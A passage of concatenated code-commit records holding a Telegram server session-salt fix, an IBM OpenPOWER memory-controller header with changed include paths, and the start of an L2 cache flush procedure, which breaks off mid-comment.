iter->second;\n}\n\nstd::string FFmpegGlue::GetDataSourceKey(DataSource* data_source) {\n  \/\/ Use the DataSource's memory address to generate the unique string.  This\n  \/\/ also has the nice property that adding the same DataSource reference will\n  \/\/ not generate duplicate entries.\n  return StringPrintf(\"%s:\/\/0x%lx\", kProtocol, static_cast<void*>(data_source));\n}\n\n}  \/\/ namespace media\n<|endoftext|>"}
{"text":"<commit_before>#include \"Session.hpp\"\n\n#include \"ApiUtils.hpp\"\n#include \"RandomGenerator.hpp\"\n\n#include <QDateTime>\n#include <QLoggingCategory>\n\nnamespace Telegram {\n\nnamespace Server {\n\nconstexpr quint32 c_sessionRotation = 1 * 60 * 60;\nconstexpr quint32 c_sessionOverlapping = 300;\nconstexpr quint32 c_maxServerSalts = 64;\n\nSession::Session(quint64 sessionId) :\n    m_sessionId(sessionId)\n{\n}\n\nquint64 Session::getOldSalt() const\n{\n    if (m_oldSalt.validUntil < Utils::getCurrentTime()) {\n        return 0;\n    }\n    return m_oldSalt.salt;\n}\n\nquint64 Session::getServerSalt() const\n{\n    Q_ASSERT_X(!m_salts.isEmpty(), \"ServerSession\", \"server salt requested, but initial salt is not set\");\n    \/\/ https:\/\/core.telegram.org\/api\/optimisation#server-salt\n    \/\/ \"At present, a single salt’s lifespan is 1 hour\"\n    \/\/\n    \/\/ https:\/\/core.telegram.org\/mtproto\/description#server-salt\n    \/\/ \"<server salt is> a number periodically (say, every 24 hours) changed (separately for each session)\"\n    \/\/\n    \/\/ https:\/\/core.telegram.org\/mtproto\/service_messages#request-for-several-future-salts\n    \/\/ \"a server salt is attached to the authorization key rather than being session-specific\"\n\n    if (m_salts.at(1).validSince < Utils::getCurrentTime()) {\n        m_oldSalt = m_salts.takeFirst();\n        if (m_salts.count() < 2) {\n            addSalt();\n        }\n    }\n    return m_salts.constFirst().salt;\n}\n\nbool Session::checkSalt(quint64 salt) const\n{\n    return salt && ((getServerSalt() == salt) || (getOldSalt() == salt));\n}\n\nbool Session::generateInitialServerSalt()\n{\n    if (!m_salts.isEmpty()) {\n        qCritical() << Q_FUNC_INFO << \"a salt is already set\";\n        return false;\n    }\n    ServerSalt s = generateSalt(Utils::getCurrentTime());\n    m_salts.append(s);\n    addSalt();\n    return true;\n}\n\nvoid Session::setInitialServerSalt(quint64 salt)\n{\n    if (!m_salts.isEmpty()) {\n        qCritical() << Q_FUNC_INFO << \"a salt is already set\";\n        return;\n    }\n    ServerSalt s;\n    s.salt = salt;\n    s.validSince = Utils::getCurrentTime();\n    s.validUntil = s.validSince + c_sessionRotation;\n    m_salts.append(s);\n    addSalt();\n}\n\nQVector<ServerSalt> Session::getSalts(quint32 numberLimit) const\n{\n    const int limit = static_cast<int>(qMin<quint32>(numberLimit, c_maxServerSalts));\n    m_salts.reserve(limit);\n    while (m_salts.count() < limit) {\n        addSalt();\n    }\n    return m_salts.mid(0, limit);\n}\n\nServerSalt Session::generateSalt(quint32 validSince)\n{\n    ServerSalt s;\n    s.validSince = validSince;\n    s.validUntil = s.validSince + c_sessionRotation;\n    RandomGenerator::instance()->generate(&s.salt);\n    return s;\n}\n\nvoid Session::addSalt() const\n{\n    \/\/ This method is a part of private lazy salts generation mechanism.\n    \/\/ Externally we're 'const'.\n    m_salts.append(generateSalt(m_salts.constLast().validUntil - c_sessionOverlapping));\n}\n\n} \/\/ Server namespace\n\n} \/\/ Telegram namespace\n<commit_msg>Server\/Session: Fix ambiguous Utils namespace usage<commit_after>#include \"Session.hpp\"\n\n#include \"ApiUtils.hpp\"\n#include \"RandomGenerator.hpp\"\n\n#include <QDateTime>\n#include <QLoggingCategory>\n\nnamespace Telegram {\n\nnamespace Server {\n\nconstexpr quint32 c_sessionRotation = 1 * 60 * 60;\nconstexpr quint32 c_sessionOverlapping = 300;\nconstexpr quint32 c_maxServerSalts = 64;\n\nSession::Session(quint64 sessionId) :\n    m_sessionId(sessionId)\n{\n}\n\nquint64 Session::getOldSalt() const\n{\n    if (m_oldSalt.validUntil < Telegram::Utils::getCurrentTime()) {\n        return 0;\n    }\n    return m_oldSalt.salt;\n}\n\nquint64 Session::getServerSalt() const\n{\n    Q_ASSERT_X(!m_salts.isEmpty(), \"ServerSession\", \"server salt requested, but initial salt is not set\");\n    \/\/ https:\/\/core.telegram.org\/api\/optimisation#server-salt\n    \/\/ \"At present, a single salt’s lifespan is 1 hour\"\n    \/\/\n    \/\/ https:\/\/core.telegram.org\/mtproto\/description#server-salt\n    \/\/ \"<server salt is> a number periodically (say, every 24 hours) changed (separately for each session)\"\n    \/\/\n    \/\/ https:\/\/core.telegram.org\/mtproto\/service_messages#request-for-several-future-salts\n    \/\/ \"a server salt is attached to the authorization key rather than being session-specific\"\n\n    if (m_salts.at(1).validSince < Telegram::Utils::getCurrentTime()) {\n        m_oldSalt = m_salts.takeFirst();\n        if (m_salts.count() < 2) {\n            addSalt();\n        }\n    }\n    return m_salts.constFirst().salt;\n}\n\nbool Session::checkSalt(quint64 salt) const\n{\n    return salt && ((getServerSalt() == salt) || (getOldSalt() == salt));\n}\n\nbool Session::generateInitialServerSalt()\n{\n    if (!m_salts.isEmpty()) {\n        qCritical() << Q_FUNC_INFO << \"a salt is already set\";\n        return false;\n    }\n    ServerSalt s = generateSalt(Telegram::Utils::getCurrentTime());\n    m_salts.append(s);\n    addSalt();\n    return true;\n}\n\nvoid Session::setInitialServerSalt(quint64 salt)\n{\n    if (!m_salts.isEmpty()) {\n        qCritical() << Q_FUNC_INFO << \"a salt is already set\";\n        return;\n    }\n    ServerSalt s;\n    s.salt = salt;\n    s.validSince = Telegram::Utils::getCurrentTime();\n    s.validUntil = s.validSince + c_sessionRotation;\n    m_salts.append(s);\n    addSalt();\n}\n\nQVector<ServerSalt> Session::getSalts(quint32 numberLimit) const\n{\n    const int limit = static_cast<int>(qMin<quint32>(numberLimit, c_maxServerSalts));\n    m_salts.reserve(limit);\n    while (m_salts.count() < limit) {\n        addSalt();\n    }\n    return m_salts.mid(0, limit);\n}\n\nServerSalt Session::generateSalt(quint32 validSince)\n{\n    ServerSalt s;\n    s.validSince = validSince;\n    s.validUntil = s.validSince + c_sessionRotation;\n    RandomGenerator::instance()->generate(&s.salt);\n    return s;\n}\n\nvoid Session::addSalt() const\n{\n    \/\/ This method is a part of private lazy salts generation mechanism.\n    \/\/ Externally we're 'const'.\n    m_salts.append(generateSalt(m_salts.constLast().validUntil - c_sessionOverlapping));\n}\n\n} \/\/ Server namespace\n\n} \/\/ Telegram namespace\n<|endoftext|>"}
{"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/lib\/mc\/mc.H $       *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n\n\/\/\/\n\/\/\/ @file mc.H\n\/\/\/ @brief Subroutines to manipulate the memory controller\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#ifndef _MSS_MC_H_\n#define _MSS_MC_H_\n\n#include <fapi2.H>\n\n#include \"p9_mc_scom_addresses.H\"\n#include \"p9_mc_scom_addresses_fld.H\"\n#include \"mss_attribute_accessors.H\"\n#include \"..\/utils\/scom.H\"\n\nnamespace mss\n{\n\n\/\/ I have a dream that the xlate code can be shared among controllers. So, I drive the\n\/\/ engine from a set of traits. This might be folly. Allow me to dream. BRS\n\n\/\/\/\n\/\/\/ @class mcTraits\n\/\/\/ @brief a collection of traits associated with the MC\n\/\/\/ @tparam T, fapi2::TargetType representing the MC\n\/\/\/\ntemplate< fapi2::TargetType T >\nclass mcTraits;\n\n\/\/\/\n\/\/\/ @class mcTraits\n\/\/\/ @brief a collection of traits associated with the Centaur controller\n\/\/\/\ntemplate<>\nclass mcTraits<fapi2::TARGET_TYPE_MEMBUF_CHIP>\n{\n};\n\n\/\/\/\n\/\/\/ @class mcTraits\n\/\/\/ @brief a collection of traits associated with the Nimbus controller\n\/\/\/\ntemplate<>\nclass mcTraits<fapi2::TARGET_TYPE_MCS>\n{\n    public:\n        \/\/ Array of registers indexed by MCA position\n        static const uint64_t xlate0_reg[2];\n        static const uint64_t xlate1_reg[2];\n        static const uint64_t xlate2_reg[2];\n\n        enum\n        {\n            SLOT0_VALID = MCS_PORT02_MCP0XLT0_SLOT0_VALID,\n            SLOT0_ROW15_VALID = MCS_PORT02_MCP0XLT0_SLOT0_ROW15_VALID,\n            SLOT0_M1_VALID = MCS_PORT02_MCP0XLT0_SLOT0_M1_VALID,\n            M1_BIT_MAP = MCS_PORT02_MCP0XLT0_M1_BIT_MAP,\n            M1_BIT_MAP_LEN = MCS_PORT02_MCP0XLT0_M1_BIT_MAP_LEN,\n            D_BIT_MAP = MCS_PORT02_MCP0XLT0_D_BIT_MAP,\n            D_BIT_MAP_LEN = MCS_PORT02_MCP0XLT0_D_BIT_MAP_LEN,\n            R15_BIT_MAP = MCS_PORT02_MCP0XLT0_R15_BIT_MAP,\n            R15_BIT_MAP_LEN = MCS_PORT02_MCP0XLT0_R15_BIT_MAP_LEN,\n            COL4_BIT_MAP = MCS_PORT02_MCP0XLT1_COL4_BIT_MAP,\n            COL4_BIT_MAP_LEN = MCS_PORT02_MCP0XLT1_COL4_BIT_MAP_LEN,\n            COL5_BIT_MAP = MCS_PORT02_MCP0XLT1_COL5_BIT_MAP,\n            COL5_BIT_MAP_LEN = MCS_PORT02_MCP0XLT1_COL5_BIT_MAP_LEN,\n            COL6_BIT_MAP = MCS_PORT02_MCP0XLT1_COL6_BIT_MAP,\n            COL6_BIT_MAP_LEN = MCS_PORT02_MCP0XLT1_COL6_BIT_MAP_LEN,\n            COL7_BIT_MAP = MCS_PORT02_MCP0XLT1_COL7_BIT_MAP,\n            COL7_BIT_MAP_LEN = MCS_PORT02_MCP0XLT1_COL7_BIT_MAP_LEN,\n            COL8_BIT_MAP = MCS_PORT02_MCP0XLT2_COL8_BIT_MAP,\n            COL8_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_COL8_BIT_MAP_LEN,\n            COL9_BIT_MAP = MCS_PORT02_MCP0XLT2_COL9_BIT_MAP,\n            COL9_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_COL9_BIT_MAP_LEN,\n            BANK0_BIT_MAP = MCS_PORT02_MCP0XLT2_BANK0_BIT_MAP,\n            BANK0_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_BANK0_BIT_MAP_LEN,\n            BANK1_BIT_MAP = MCS_PORT02_MCP0XLT2_BANK1_BIT_MAP,\n            BANK1_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_BANK1_BIT_MAP_LEN,\n            BANK_GROUP0_BIT_MAP = MCS_PORT02_MCP0XLT2_BANK_GROUP0_BIT_MAP,\n            BANK_GROUP0_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_BANK_GROUP0_BIT_MAP_LEN,\n            BANK_GROUP1_BIT_MAP = MCS_PORT02_MCP0XLT2_BANK_GROUP1_BIT_MAP,\n            BANK_GROUP1_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_BANK_GROUP1_BIT_MAP_LEN,\n        };\n\n};\n\n\/\/ Why two enums? Two reasons. First, we need these to be contiguous, and\n\/\/ we can't always guarentee the symbols will be generated as such. Second,\n\/\/ we want to be 0'based so that we can use a static array as a table and\n\/\/ it's probably not possible for the symbols to be 0'based.\nenum\n{\n    THIS_ENTRY_VALID = 0,\n    VALUE_OF_D_BIT_INDEX = 1,\n    GB12_ENABLE_INDEX = 2,\n    MASTER_BIT_0_VALID_INDEX = 3,\n    MASTER_BIT_1_VALID_INDEX = 4,\n    SLAVE_BIT_0_VALID_INDEX = 5,\n    SLAVE_BIT_1_VALID_INDEX = 6,\n    SLAVE_BIT_2_VALID_INDEX = 7,\n    ROW_BIT_15_VALID_INDEX = 8,\n    ROW_BIT_16_VALID_INDEX = 9,\n    ROW_BIT_17_VALID_INDEX = 10,\n    BANK_BIT_2_VALID_INDEX = 11,\n    DIMM_BIT_INDEX = 12,\n    MASTER_BIT_0_INDEX = 13,\n    MASTER_BIT_1_INDEX = 14,\n    SLAVE_BIT_0_INDEX = 15,\n    SLAVE_BIT_1_INDEX = 16,\n    SLAVE_BIT_2_INDEX = 17,\n    ROW_17_INDEX = 18,\n    ROW_16_INDEX = 19,\n    COLUMN_4_INDEX = 20,\n    COLUMN_5_INDEX = 21,\n    COLUMN_6_INDEX = 22,\n    COLUMN_7_INDEX = 23,\n    COLUMN_8_INDEX = 24,\n    COLUMN_9_INDEX = 25,\n    BANK_0_INDEX = 26,\n    BANK_1_INDEX = 27,\n    BANK_2_INDEX = 28,\n    BANK_GROUP_0_BIT_INDEX = 29,\n    BANK_GROUP_1_BIT_INDEX = 30,\n    MAX_TRANSLATIONS = 31,\n};\n\n\/\/\/\n\/\/\/ @class mss::mc\n\/\/\/ @brief The memory controller class\n\/\/\/ @tparam T the fapi2::TargetType of the controller\n\/\/\/\ntemplate< fapi2::TargetType T >\nclass mc\n{\n\n    public:\n        \/\/\/\n        \/\/\/ @brief Perform initializations for the MC\n        \/\/\/ @tparam T the fapi2::TargetType\n        \/\/\/ @param[in] i_target the target which has the MCs to initialize\n        \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n        \/\/\/\n        fapi2::ReturnCode scominit(const fapi2::Target<T>& i_target);\n\n        \/\/\/\n        \/\/\/ @brief Perform initializations of the MC translation\n        \/\/\/ @tparam P the fapi2::TargetType of the port\n        \/\/\/ @tparam TT the typename of the traits\n        \/\/\/ @param[in] i_target the target which has the MCA to map\n        \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n        \/\/\/\n        template< fapi2::TargetType P, typename TT = mcTraits<T> >\n        fapi2::ReturnCode setup_xlate_map(const fapi2::Target<P>& i_target);\n\n};\n\n}\n\n#endif\n<commit_msg>Change include paths in memory\/lib, tests<commit_after>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/lib\/mc\/mc.H $       *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n\n\/\/\/\n\/\/\/ @file mc.H\n\/\/\/ @brief Subroutines to manipulate the memory controller\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#ifndef _MSS_MC_H_\n#define _MSS_MC_H_\n\n#include <fapi2.H>\n\n#include <p9_mc_scom_addresses.H>\n#include <p9_mc_scom_addresses_fld.H>\n#include <mss_attribute_accessors.H>\n#include <lib\/utils\/scom.H>\n\nnamespace mss\n{\n\n\/\/ I have a dream that the xlate code can be shared among controllers. So, I drive the\n\/\/ engine from a set of traits. This might be folly. Allow me to dream. BRS\n\n\/\/\/\n\/\/\/ @class mcTraits\n\/\/\/ @brief a collection of traits associated with the MC\n\/\/\/ @tparam T, fapi2::TargetType representing the MC\n\/\/\/\ntemplate< fapi2::TargetType T >\nclass mcTraits;\n\n\/\/\/\n\/\/\/ @class mcTraits\n\/\/\/ @brief a collection of traits associated with the Centaur controller\n\/\/\/\ntemplate<>\nclass mcTraits<fapi2::TARGET_TYPE_MEMBUF_CHIP>\n{\n};\n\n\/\/\/\n\/\/\/ @class mcTraits\n\/\/\/ @brief a collection of traits associated with the Nimbus controller\n\/\/\/\ntemplate<>\nclass mcTraits<fapi2::TARGET_TYPE_MCS>\n{\n    public:\n        \/\/ Array of registers indexed by MCA position\n        static const uint64_t xlate0_reg[2];\n        static const uint64_t xlate1_reg[2];\n        static const uint64_t xlate2_reg[2];\n\n        enum\n        {\n            SLOT0_VALID = MCS_PORT02_MCP0XLT0_SLOT0_VALID,\n            SLOT0_ROW15_VALID = MCS_PORT02_MCP0XLT0_SLOT0_ROW15_VALID,\n            SLOT0_M1_VALID = MCS_PORT02_MCP0XLT0_SLOT0_M1_VALID,\n            M1_BIT_MAP = MCS_PORT02_MCP0XLT0_M1_BIT_MAP,\n            M1_BIT_MAP_LEN = MCS_PORT02_MCP0XLT0_M1_BIT_MAP_LEN,\n            D_BIT_MAP = MCS_PORT02_MCP0XLT0_D_BIT_MAP,\n            D_BIT_MAP_LEN = MCS_PORT02_MCP0XLT0_D_BIT_MAP_LEN,\n            R15_BIT_MAP = MCS_PORT02_MCP0XLT0_R15_BIT_MAP,\n            R15_BIT_MAP_LEN = MCS_PORT02_MCP0XLT0_R15_BIT_MAP_LEN,\n            COL4_BIT_MAP = MCS_PORT02_MCP0XLT1_COL4_BIT_MAP,\n            COL4_BIT_MAP_LEN = MCS_PORT02_MCP0XLT1_COL4_BIT_MAP_LEN,\n            COL5_BIT_MAP = MCS_PORT02_MCP0XLT1_COL5_BIT_MAP,\n            COL5_BIT_MAP_LEN = MCS_PORT02_MCP0XLT1_COL5_BIT_MAP_LEN,\n            COL6_BIT_MAP = MCS_PORT02_MCP0XLT1_COL6_BIT_MAP,\n            COL6_BIT_MAP_LEN = MCS_PORT02_MCP0XLT1_COL6_BIT_MAP_LEN,\n            COL7_BIT_MAP = MCS_PORT02_MCP0XLT1_COL7_BIT_MAP,\n            COL7_BIT_MAP_LEN = MCS_PORT02_MCP0XLT1_COL7_BIT_MAP_LEN,\n            COL8_BIT_MAP = MCS_PORT02_MCP0XLT2_COL8_BIT_MAP,\n            COL8_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_COL8_BIT_MAP_LEN,\n            COL9_BIT_MAP = MCS_PORT02_MCP0XLT2_COL9_BIT_MAP,\n            COL9_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_COL9_BIT_MAP_LEN,\n            BANK0_BIT_MAP = MCS_PORT02_MCP0XLT2_BANK0_BIT_MAP,\n            BANK0_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_BANK0_BIT_MAP_LEN,\n            BANK1_BIT_MAP = MCS_PORT02_MCP0XLT2_BANK1_BIT_MAP,\n            BANK1_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_BANK1_BIT_MAP_LEN,\n            BANK_GROUP0_BIT_MAP = MCS_PORT02_MCP0XLT2_BANK_GROUP0_BIT_MAP,\n            BANK_GROUP0_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_BANK_GROUP0_BIT_MAP_LEN,\n            BANK_GROUP1_BIT_MAP = MCS_PORT02_MCP0XLT2_BANK_GROUP1_BIT_MAP,\n            BANK_GROUP1_BIT_MAP_LEN = MCS_PORT02_MCP0XLT2_BANK_GROUP1_BIT_MAP_LEN,\n        };\n\n};\n\n\/\/ Why two enums? Two reasons. First, we need these to be contiguous, and\n\/\/ we can't always guarentee the symbols will be generated as such. Second,\n\/\/ we want to be 0'based so that we can use a static array as a table and\n\/\/ it's probably not possible for the symbols to be 0'based.\nenum\n{\n    THIS_ENTRY_VALID = 0,\n    VALUE_OF_D_BIT_INDEX = 1,\n    GB12_ENABLE_INDEX = 2,\n    MASTER_BIT_0_VALID_INDEX = 3,\n    MASTER_BIT_1_VALID_INDEX = 4,\n    SLAVE_BIT_0_VALID_INDEX = 5,\n    SLAVE_BIT_1_VALID_INDEX = 6,\n    SLAVE_BIT_2_VALID_INDEX = 7,\n    ROW_BIT_15_VALID_INDEX = 8,\n    ROW_BIT_16_VALID_INDEX = 9,\n    ROW_BIT_17_VALID_INDEX = 10,\n    BANK_BIT_2_VALID_INDEX = 11,\n    DIMM_BIT_INDEX = 12,\n    MASTER_BIT_0_INDEX = 13,\n    MASTER_BIT_1_INDEX = 14,\n    SLAVE_BIT_0_INDEX = 15,\n    SLAVE_BIT_1_INDEX = 16,\n    SLAVE_BIT_2_INDEX = 17,\n    ROW_17_INDEX = 18,\n    ROW_16_INDEX = 19,\n    COLUMN_4_INDEX = 20,\n    COLUMN_5_INDEX = 21,\n    COLUMN_6_INDEX = 22,\n    COLUMN_7_INDEX = 23,\n    COLUMN_8_INDEX = 24,\n    COLUMN_9_INDEX = 25,\n    BANK_0_INDEX = 26,\n    BANK_1_INDEX = 27,\n    BANK_2_INDEX = 28,\n    BANK_GROUP_0_BIT_INDEX = 29,\n    BANK_GROUP_1_BIT_INDEX = 30,\n    MAX_TRANSLATIONS = 31,\n};\n\n\/\/\/\n\/\/\/ @class mss::mc\n\/\/\/ @brief The memory controller class\n\/\/\/ @tparam T the fapi2::TargetType of the controller\n\/\/\/\ntemplate< fapi2::TargetType T >\nclass mc\n{\n\n    public:\n        \/\/\/\n        \/\/\/ @brief Perform initializations for the MC\n        \/\/\/ @tparam T the fapi2::TargetType\n        \/\/\/ @param[in] i_target the target which has the MCs to initialize\n        \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n        \/\/\/\n        fapi2::ReturnCode scominit(const fapi2::Target<T>& i_target);\n\n        \/\/\/\n        \/\/\/ @brief Perform initializations of the MC translation\n        \/\/\/ @tparam P the fapi2::TargetType of the port\n        \/\/\/ @tparam TT the typename of the traits\n        \/\/\/ @param[in] i_target the target which has the MCA to map\n        \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n        \/\/\/\n        template< fapi2::TargetType P, typename TT = mcTraits<T> >\n        fapi2::ReturnCode setup_xlate_map(const fapi2::Target<P>& i_target);\n\n};\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_l2_flush.C $       *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n\/\/\/\n\/\/\/ @file p9_l2_flush.H\n\/\/\/ @brief Flush the P9 L2 cache (FAPI)\n\/\/\/\n\/\/\/ *HWP HWP Owner   : Benjamin Gass <bgass@us.ibm.com>\n\/\/\/ *HWP FW Owner    : Bilicon Patil  <bilpatil@in.ibm.com>\n\/\/\/ *HWP Team        : Quad\n\/\/\/ *HWP Consumed by : FSP\n\/\/\/ *HWP Level       : 2\n\/\/\/\n\n\/\/------------------------------------------------------------------------------\n\/\/ Includes\n\/\/------------------------------------------------------------------------------\n#include <p9_quad_scom_addresses.H>\n#include <p9_l2_flush.H>\n\n\/\/------------------------------------------------------------------------------\n\/\/ Constant definitions\n\/\/------------------------------------------------------------------------------\n\n\/\/ L2 Purge Engine Command Register bit\/field definitions\nenum\n{\n    PURGE_CMD_TRIGGER_BIT            = 0,\n    PURGE_CMD_REG_BUSY               = 9,\n    PURGE_CMD_PRGSM_BUSY_ON_THIS_BIT = 10,\n    PURGE_CMD_PRGSM_BUSY_BIT         = 11,\n    PURGE_CMD_ERR_BIT                = 29,\n    PURGE_CMD_TYPE_BIT               = 1,\n    PURGE_CMD_MEM_BIT                = 17,\n    PURGE_CMD_BANK_BIT               = 28,\n    PURGE_CMD_CGC_BIT                = 20\n};\n\n\/\/ L2 Purge Engine Command Register bit\/field Lengths\nenum\n{\n    PURGE_CMD_TYPE_BIT_LENGTH   = 4,\n    PURGE_CMD_MEM_BIT_LENGTH    = 3,\n    PURGE_CMD_BANK_BIT_LENGTH   = 1,\n    PURGE_CMD_CGC_BIT_LENGTH    = 8\n};\n\n\/\/ polling constants\nenum\n{\n    P9_L2_FLUSH_HW_NS_DELAY     = 10000, \/\/ unit is nano seconds\n    P9_L2_FLUSH_SIM_CYCLE_DELAY = 12000, \/\/ unit is cycles\n    P9_L2_FLUSH_MAX_POLLS       = 200    \/\/ unit is cycles\n};\n\n\/\/------------------------------------------------------------------------------\n\/\/ Function definitions\n\/\/------------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @brief l2_flush_start: Utility subroutine to initiate L2 cache flush\n\/\/\/                        via purge engine\n\/\/\/ @param[in]  i_target Ex target\n\/\/\/ @param[in]  i_regAddr The scom address to use\n\/\/\/ @param[in]  i_purgeData Structure having values for MEM, CGC, BANK\n\/\/\/                         passed by the user\n\/\/\/ @return  FAPI2_RC_SUCCESS if purge operation was started,\n\/\/\/          RC_P9_L2_FLUSH_PURGE_REQ_OUTSTANDING if a prior purge\n\/\/\/          operation has not yet completed\n\/\/\/          else FAPI getscom\/putscom return code for failing operation\n\/\/------------------------------------------------------------------------------\nfapi2::ReturnCode l2_flush_start(\n    const fapi2::Target<fapi2::TARGET_TYPE_EX>& i_target,\n    const uint32_t i_regAddr,\n    const p9core::purgeData_t& i_purgeData)\n{\n    fapi2::buffer<uint64_t> l_cmdReg;\n    fapi2::buffer<uint64_t> l_purgeCmd;\n    char l_targetStr[fapi2::MAX_ECMD_STRING_LEN];\n\n    FAPI_INF(\"l2_flush_start: Enter\");\n\n    \/\/ ensure that purge engine is idle before starting flush\n    \/\/ poll Purge Engine status\n    FAPI_DBG(\"Reading L2 Purge Engine Command Register to check status\");\n    FAPI_TRY(fapi2::getScom(i_target, i_regAddr, l_cmdReg));\n\n    \/\/ check to see if this reg is idle and ready to accept a new command\n    fapi2::toString(i_target, l_targetStr, fapi2::MAX_ECMD_STRING_LEN);\n    FAPI_ASSERT(!l_cmdReg.getBit<PURGE_CMD_REG_BUSY>(),\n                fapi2::P9_L2_FLUSH_PURGE_REQ_OUTSTANDING()\n                .set_TARGET(i_target)\n                .set_CMD_REG(l_cmdReg)\n                .set_CMD_REG_ADDR(i_regAddr),\n                \"Previous purge request has not completed for target %s\",\n                l_targetStr);\n\n    \/\/ write PURGE_CMD_TRIGGER bit in Purge Engine Command Register\n    \/\/ ensure PURGE_CMD_TYPE\/MEM\/CGC\/BANK are clear to specify flush\n    \/\/ of entire cache\n    FAPI_DBG(\"Write L2 Purge Engine Command Register to initiate cache flush\");\n    l_purgeCmd.insert<PURGE_CMD_TYPE_BIT,\n                      PURGE_CMD_TYPE_BIT_LENGTH>(i_purgeData.iv_cmdType);\n\n    l_purgeCmd.insert<PURGE_CMD_MEM_BIT,\n                      PURGE_CMD_MEM_BIT_LENGTH>(i_purgeData.iv_cmdMem);\n\n    l_purgeCmd.insert<PURGE_CMD_BANK_BIT,\n                      PURGE_CMD_BANK_BIT_LENGTH>(i_purgeData.iv_cmdBank);\n\n    l_purgeCmd.insert<PURGE_CMD_CGC_BIT,\n                      PURGE_CMD_CGC_BIT_LENGTH>(i_purgeData.iv_cmdCGC);\n\n    l_purgeCmd.setBit<PURGE_CMD_TRIGGER_BIT>();\n\n    FAPI_TRY(fapi2::putScom(i_target, i_regAddr, l_purgeCmd));\n\nfapi_try_exit:\n    return fapi2::current_err;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @brief l2_flush_check_status: Utility subroutine to poll L2 purge\n\/\/\/                                    engine status, looking for clean idle\n\/\/\/                                    state\n\/\/\/ @param[in] i_target EX chiplet target\n\/\/\/ @param[in] 